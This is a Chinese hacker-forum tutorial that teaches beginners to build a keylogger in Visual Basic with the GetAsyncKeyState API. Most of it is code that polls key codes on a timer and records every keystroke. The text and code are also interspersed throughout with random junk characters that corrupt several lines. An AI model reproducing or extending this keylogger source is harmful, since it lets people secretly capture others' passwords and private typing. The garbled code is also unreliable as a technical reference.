手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 版权归黑客基地所有， 转载请注明出处

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前几天写了一篇键盘记录器，好多人反映看不懂， 对新人没什么用处，所以且这篇我会写的 很详细，再也不像那篇，出了代码什么也没 ^!^ 这个程序将会详细的讲解如何记载键盘的每一次输入。 下面介绍的这个程序主要是利用GetAsyncKeyState函数， 使用GetAsyncKeyState可以获得键盘的动作。 : s/ l: A4 g* f1 @GetAsyncKeyState函数根据虚拟键表判断按键的类型。 返回值为一个16位的二进值数，如果被按下则最高位为1， $ P4 B7 |+ y% i; ?2 J即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer e/ b5 B/ k% U8 t好了，函数就先介绍这么多，下面开始动手实战了 first,当然是创建窗口了 # o, h5 e9 q4 e( M) m1 q7 a e+ T; t4 ?( H! {$ i1 W 3 R' T% T! e+ w6 a1 D- z- z1 I8 M ; L O: R& O4 S4 e5 S在时间控件的Timer时间中定义检查按键类型，代码如下： Dim AddKey KeyResult = GetAsyncKeyState(13) '回车键 J7 c& h1 A5 Z" y# { If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound End If ( H& \7 i' r( o KeyResult = GetAsyncKeyState(17) 'Ctrl键 If KeyResult = -32767 Then AddKey = "[CTRL]" o1 F5 u4 C* ^9 ] GoTo KeyFound End If 5 b- e: _ q% k3 c6 a, D KeyResult = GetAsyncKeyState(8) '退格键 * J, r9 J9 Y/ Q4 _* `/ f/ O% P If KeyResult = -32767 Then AddKey = "[BKSPACE]" GoTo KeyFound 4 K7 L' N) P' ?& I8 K1 W+ c3 G6 `1 C End If 1 r9 s" l& \( B" r8 ^ g KeyResult = GetAsyncKeyState(9) 4 f7 Z7 X2 E( l7 U. i+ Q! j* w If KeyResult = -32767 Then $ n6 n( ?1 Y3 \# a# r. C) M AddKey = "[TAB]" GoTo KeyFound End If / X; i) m& [- S _& m7 f$ e 5 x7 ^% g* w0 {; s- S KeyResult = GetAsyncKeyState(18) If KeyResult = -32767 Then 0 r i! }1 k) R1 a& }1 D AddKey = "[ALT]" GoTo KeyFound End If 0 f' A" W9 Q7 o2 Z KeyResult = GetAsyncKeyState(19) 7 ~% A) t) L7 _; L" ~1 s If KeyResult = -32767 Then AddKey = "[PAUSE]" % u- B5 b5 |0 F7 m8 V7 M GoTo KeyFound End If KeyResult = GetAsyncKeyState(20) / ?) ~4 R7 T. p) _0 H. f" Y- p& P4 ? If KeyResult = -32767 Then AddKey = "[CAPS]" a" ~: ?2 u+ W* J$ n6 r GoTo KeyFound ' Z. [1 j0 ]7 h' z+ [ End If 5 _ k) I, T' @; `! Z% S KeyResult = GetAsyncKeyState(27) ! o( f& ^4 w/ [- l! t If KeyResult = -32767 Then . f5 N8 F: J% c2 A) K" u AddKey = "[ESC]" " C. a1 j. J5 K! J GoTo KeyFound End If 7 _# s$ @# d- l/ g KeyResult = GetAsyncKeyState(33) ( `+ b6 b' v. o7 o If KeyResult = -32767 Then AddKey = "[PGUP]" / N% [1 t- W$ B8 R7 H9 l GoTo KeyFound / W9 U+ Q/ K% l+ h# ]# a; w. l End If & [+ `4 B' a+ c7 X4 }( E $ Q7 W' E) b: X5 Z. T$ H KeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then ' G6 e- `0 i1 j AddKey = "[PGDN]" G+ h2 D& ^) u3 C9 g% P4 @4 ^ GoTo KeyFound End If " i9 M! G8 H W0 b l - F. w' }8 X0 c- T- ^ KeyResult = GetAsyncKeyState(35) ; W( N: T9 m2 v If KeyResult = -32767 Then / b M* }: Q& r7 t8 z% t AddKey = "[END]" - Y5 z* |( F+ y8 E: |% B GoTo KeyFound End If & y9 [" a$ ^1 h0 ~ w KeyResult = GetAsyncKeyState(36) , O/ `! M g) @# r. M5 i If KeyResult = -32767 Then AddKey = "[HOME]" 8 O; |3 a2 G& u: e/ u% }$ p& z* a! m GoTo KeyFound ' K& y0 H8 e6 a! q# j, T& o End If 7 W" i2 Z4 z& I! z) O( D% s+ ]. l KeyResult = GetAsyncKeyState(44) ) M6 A& [! P5 O5 N; W! Y If KeyResult = -32767 Then * Q. ~7 y1 p! Y! o; N3 R- o* E; F AddKey = "[SYSRQ]" GoTo KeyFound End If & N8 E8 v' U0 I, w" s KeyResult = GetAsyncKeyState(45) & M! f1 [8 H6 |7 l If KeyResult = -32767 Then AddKey = "[INS]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(46) 6 C* T! o! l" e( p( X If KeyResult = -32767 Then / \( k" C, P* r$ [8 n AddKey = "[DEL]" & ~, a+ k2 b) ^ {' e; C' v GoTo KeyFound End If 4 p7 K; w# C4 h5 r2 s* [ 0 B; b3 O; z0 q KeyResult = GetAsyncKeyState(144) $ @& v: p2 L0 m4 \# s o+ h If KeyResult = -32767 Then * \8 N# e* `( G" ]( C AddKey = "[NUM]" GoTo KeyFound & P, S/ S7 W. o: B4 c' I# A4 F+ o) D9 T' @ End If 6 E! h1 G: e" j+ s ( e/ Q% e1 |6 I KeyResult = GetAsyncKeyState(37) 1 O9 y9 F0 }3 u2 }9 Q7 P: B/ w! X1 v If KeyResult = -32767 Then AddKey = "

" , i7 |. s" O. m GoTo KeyFound : |7 g2 Q4 G7 e; K- O0 T End If 9 o- p7 f g5 f2 ~" v$ ~3 y+ r* L2 ? KeyResult = GetAsyncKeyState(38) . O' Q% O0 V$ {4 A; c9 e If KeyResult = -32767 Then ( c9 K n( I+ _$ ] AddKey = "[UP]" GoTo KeyFound End If - {1 l: Z" ? E1 W- N, x 8 h/ ^# s) G4 H; N KeyResult = GetAsyncKeyState(39) # ]# D8 N7 z# d8 s% E! d If KeyResult = -32767 Then ! Z8 F# V p4 \% _: Q- l' Q AddKey = "

" ' t5 ]+ w6 J& `! _; U3 C1 i GoTo KeyFound End If % t( Z# q1 e" N& b- p- Z KeyResult = GetAsyncKeyState(40) 5 W+ m; s' n4 g/ T+ {- j3 V If KeyResult = -32767 Then # r, j, L; \6 ? AddKey = "[DOWN]" GoTo KeyFound . j B; D/ \* A0 `. z O End If / [$ a: E! b/ Z j8 y& `8 o0 y: w KeyResult = GetAsyncKeyState(112) / }& E5 U+ O3 i, G If KeyResult = -32767 Then AddKey = "[F1]" 0 K% w# c# }5 q$ |: t$ Y/ Q- Y GoTo KeyFound End If % G9 {. y1 _- L0 b4 p0 @ KeyResult = GetAsyncKeyState(113) ( A1 x5 C- a6 g If KeyResult = -32767 Then AddKey = "[F2]" # L* m! L6 Z. }) r9 C7 E& m GoTo KeyFound # o/ Z' C* s, N9 s, ]: U, S End If 6 g# @( j, M6 T4 Z5 u * t& u' x& J4 [$ O4 x LKeyResult = GetAsyncKeyState(114) 0 Y, W3 Q ]+ C% y If KeyResult = -32767 Then # {& ~8 q% T, X/ F# J AddKey = "[F3]" GoTo KeyFound End If 8 f7 Y- D2 Q+ ?7 {: g+ {, K7 hKeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then 1 ?2 O/ j7 {7 ] AddKey = "[F4]" 2 U6 k$ r7 G4 v' [0 l. Q GoTo KeyFound End If % |, S, _: ?8 [! o/ w KeyResult = GetAsyncKeyState(116) 4 C* {4 v4 ?: E1 ` p1 b0 } If KeyResult = -32767 Then AddKey = "[F5]" ' u+ Q: v5 J6 @. f4 J; }* U& e GoTo KeyFound End If % O- O1 k+ G6 I8 ` F+ g3 Q : z+ D' W1 i" s* H; a7 mKeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then AddKey = "[F6]" GoTo KeyFound End If 2 G1 l) y3 b8 R O# K nKeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then AddKey = "[F7]" GoTo KeyFound M* C6 L5 \9 a0 C End If : Y7 L @6 g0 }+ p8 D KeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then AddKey = "[F8]" GoTo KeyFound . R% U; d" `1 T/ H( M+ s End If KeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then AddKey = "[F9]" 2 s: _1 u& Z* n* c' ?5 U) q GoTo KeyFound End If KeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then ) Y z2 D. |/ {: f AddKey = "[F10]" GoTo KeyFound H7 s/ W. M4 L$ } End If , ^) f& B* U2 bKeyResult = GetAsyncKeyState(122) # O1 V0 v3 b& s T If KeyResult = -32767 Then AddKey = "[F11]" - k7 D+ l9 j: [ U+ v GoTo KeyFound End If , n0 W3 N0 o% X KeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then 3 Q8 ~1 T2 b% P AddKey = "[F12]" GoTo KeyFound 3 d! c4 O! ]: q End If KeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then AddKey = "[F13]" $ {& x6 A5 V/ h( v! I GoTo KeyFound End If 1 S1 x5 T, i/ t' Y- m KeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then + t0 V K0 y$ R: k0 X c2 ` AddKey = "[F14]" 0 ~ e+ U. z8 d. ?" p/ W GoTo KeyFound End If 9 x- E4 p4 B8 r# Q4 b. L; ^. KKeyResult = GetAsyncKeyState(126) 2 |( s! u: P( p+ \% G If KeyResult = -32767 Then % j4 Z- H! ?5 Z" q AddKey = "[F15]" . i5 s6 s& u+ p p; b3 b GoTo KeyFound ( z1 F0 [( C _. x8 g0 o; D; ~- M x; U End If # c" r( c" u' Q4 o: Q- g- ~- E . z- c! M4 r [, U- |) J% T+ i* GKeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then x# m+ r/ l* K9 W$ r% [2 f AddKey = "[F16]" GoTo KeyFound 4 G ?, J; b7 |) e End If * m: ?, K& s2 W+ y2 l- R3 i ( ^2 `$ @, K/ o" s- FKeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then $ T- W6 a9 I# w3 c0 [ AddKey = " " GoTo KeyFound m/ j* ~+ B2 d& |* _% @ V) z End If - D! k8 a+ T4 U7 A) h) K. C ) \( g# C- o, i6 f( iKeyResult = GetAsyncKeyState(186) % z5 @# U; Q m' i# o ^1 U7 ] If KeyResult = -32767 Then AddKey = ";" 5 l, u! Q0 L8 q; e# }# A, R GoTo KeyFound * e9 p/ Y1 A5 t q End If , b5 w& l7 Z+ E0 {# v1 NKeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then 1 e8 I4 a v5 m! m AddKey = "=" : ]3 f2 j7 k3 H( h* v4 n GoTo KeyFound End If 2 z, e5 x, L* x! O7 Z9 }KeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then AddKey = "," GoTo KeyFound ( n( E7 [3 G$ S' b9 q8 S9 M4 ~* H& V End If 3 r1 ~2 k* O2 L. A; A h) S* z , Y6 ?& C& v* A, nKeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then AddKey = "-" * E- x9 J" u' ~' } GoTo KeyFound End If 5 g2 _: m% x1 C$ F- yKeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then AddKey = "." GoTo KeyFound End If $ H& b9 @4 M' ?( b. a KeyResult = GetAsyncKeyState(191) If KeyResult = -32767 Then 1 \/ C5 o% u% k6 V# ^8 _- v AddKey = "/" '/ ; I, q' [8 \7 B" b! G# \3 n GoTo KeyFound * Z/ G& T5 g4 C End If 4 O K+ h, k( h KeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then AddKey = "`" '` 7 K/ x3 @( N; c# k# s% G GoTo KeyFound End If ) V( v5 P) i8 S6 d '----------NUM PAD KeyResult = GetAsyncKeyState(96) If KeyResult = -32767 Then AddKey = "0" GoTo KeyFound End If 9 {" _ V& B& X0 b. e3 ?+ ~8 \KeyResult = GetAsyncKeyState(97) If KeyResult = -32767 Then . w9 ?& e& ~" l. \ AddKey = "1" GoTo KeyFound End If ; x5 W: `; G% M. ^ KeyResult = GetAsyncKeyState(98) 3 ?3 `) g. k" Z9 s$ u If KeyResult = -32767 Then AddKey = "2" GoTo KeyFound End If - @+ y, j+ W$ t) Z4 d KeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then + } x8 V8 U7 L: s AddKey = "3" GoTo KeyFound " I$ J$ D% M& q9 h; n6 o6 y# |# L End If 1 m0 T) S8 [+ D" k' [( SKeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then 4 m4 W9 h1 U4 N! D$ N |" \ AddKey = "4" ; A( E9 }# r/ J* Z/ t. j) K GoTo KeyFound End If & _- S8 g6 P7 l* r1 Q KeyResult = GetAsyncKeyState(101) 5 Y, {1 \8 s% w3 a' `2 J# [ If KeyResult = -32767 Then AddKey = "5" 8 x* Q _4 E' X5 O GoTo KeyFound End If . \1 X, j0 ^2 ]3 l% r" z $ O- b! }& i0 f# w1 V1 m KeyResult = GetAsyncKeyState(102) * [: K) \: X, l( M! d2 K7 J If KeyResult = -32767 Then . c0 \. J; {# v% e$ T: R" q/ u3 P AddKey = "6" + G; Q" ?! r, Q- X! s& B; T GoTo KeyFound End If KeyResult = GetAsyncKeyState(103) 9 f" L" X/ \! E6 {# U2 d- x( f If KeyResult = -32767 Then % j8 K! M5 X/ a8 o# g/ O AddKey = "7" GoTo KeyFound End If v( i, P. l: [, i) h7 ^KeyResult = GetAsyncKeyState(104) If KeyResult = -32767 Then , ]% _9 ~: G) J* n2 ?! P/ @1 g AddKey = "8" / }) V, a) y& H$ z# x% `: w GoTo KeyFound + l$ c1 _1 I( J" v End If 8 m* r' T/ P4 Y3 ^& |! N" \ KeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then + q# r. H+ ?: g" J! D4 x3 _( k4 n6 b AddKey = "9" GoTo KeyFound Y; ^7 ?9 d# E; v& O& n2 O0 m# p# Z End If 7 H. K* v6 \" O; tKeyResult = GetAsyncKeyState(106) 4 y C9 r2 S! |2 P If KeyResult = -32767 Then % e: G$ ^1 ^2 z' O) Z7 d" I7 L AddKey = "*" GoTo KeyFound End If / F9 y: ]8 w: a; `KeyResult = GetAsyncKeyState(107) ( j9 B4 Q1 n; `2 b If KeyResult = -32767 Then AddKey = "+" GoTo KeyFound End If KeyResult = GetAsyncKeyState(108) / `1 ?* w) L& f If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound End If % D; m' p3 Z4 w" s- o % Q: H i5 I& d: v! `6 ?KeyResult = GetAsyncKeyState(109) If KeyResult = -32767 Then AddKey = "-" - A6 L; c, w. D9 @2 B# J, x+ c GoTo KeyFound End If . j8 W$ t) l8 S, Y3 hKeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then 7 Z; B0 e. `4 D: N+ J l AddKey = "." 0 G3 S/ Q8 \$ O2 K' z# E* a i GoTo KeyFound End If ; `' M8 p& K5 }4 D. y( E8 h' D& yKeyResult = GetAsyncKeyState(2) & F- \- L' Z! T If KeyResult = -32767 Then & M0 a# L) |- q- Q, [; x1 ~) z AddKey = "/" : P+ \( ~+ t" {8 ~2 Q8 t& O" a GoTo KeyFound End If ! [5 q, S4 R4 g0 x& VKeyResult = GetAsyncKeyState(220) If KeyResult = -32767 Then AddKey = "\" . l9 l' E3 S) M3 S+ S GoTo KeyFound 1 ~0 U1 o o5 P! U End If KeyResult = GetAsyncKeyState(222) & `! g& A+ G. S8 u& x If KeyResult = -32767 Then AddKey = "'" GoTo KeyFound End If ( e% s7 h6 u2 r, F: I) N a - K4 }/ r) t5 TKeyResult = GetAsyncKeyState(221) 9 [* e' J: p7 W5 i5 C If KeyResult = -32767 Then AddKey = "]" ( |3 {7 w% I2 D0 R GoTo KeyFound End If + t, ~( N$ U' `& |! X3 _ 4 l m+ [$ n- B$ } s v g9 VKeyResult = GetAsyncKeyState(219) If KeyResult = -32767 Then 7 a; b! @! ~9 J/ U0 y/ Z! g AddKey = "[" GoTo KeyFound ) _! t1 `: ~! e5 p. q& } End If KeyResult = GetAsyncKeyState(16) 'shift键 If KeyResult = -32767 And TimeOut = 0 Then * t T2 q: Z% D3 q5 e$ B AddKey = "[SHIFT]" ' m1 z8 l6 a0 N. A) n LastKey = AddKey . d! N; k4 J' r( n* w5 D0 S$ n TimeOut = 1 $ n9 k4 {5 q2 \- i+ n* X( |8 x5 s GoTo KeyFound End If 7 u5 i* D2 ~: ]1 ~ - m; p! a! P% v) r5 ?. Y KeyLoop = 41 Do Until KeyLoop = 256 ' 显示其他键 KeyResult = GetAsyncKeyState(KeyLoop) 7 A; x# V" h9 r; ?. J/ W If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) KeyLoop = KeyLoop + 1 * P0 T) |8 v0 `8 A0 a Loop 9 j! o4 C0 \9 U$ Q LastKey = AddKey 4 `0 B1 O- d: J0 R2 } Exit Sub KeyFound: '显示键的信息 . s6 q9 c- Y* ?0 c# F- iText1 = Text1 & AddKey {7 s( M! f4 cEnd Sub 上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… 由于数目太多，一一列举不方便 & j9 Q) j. {- l现提供Ascii表一份供对照 ( ~6 C$ [. J/ n1 M: uhttp://www.cstudy.cn/repository/ascii/default.htm 下面是其他的事件 - P) f% U" _( u% @0 k* x5 ]- qPrivate Sub Timer2_Timer() TimeOut = 0 End Sub 目的是随时刷新清空 ) Q+ T/ G1 l2 k# |, O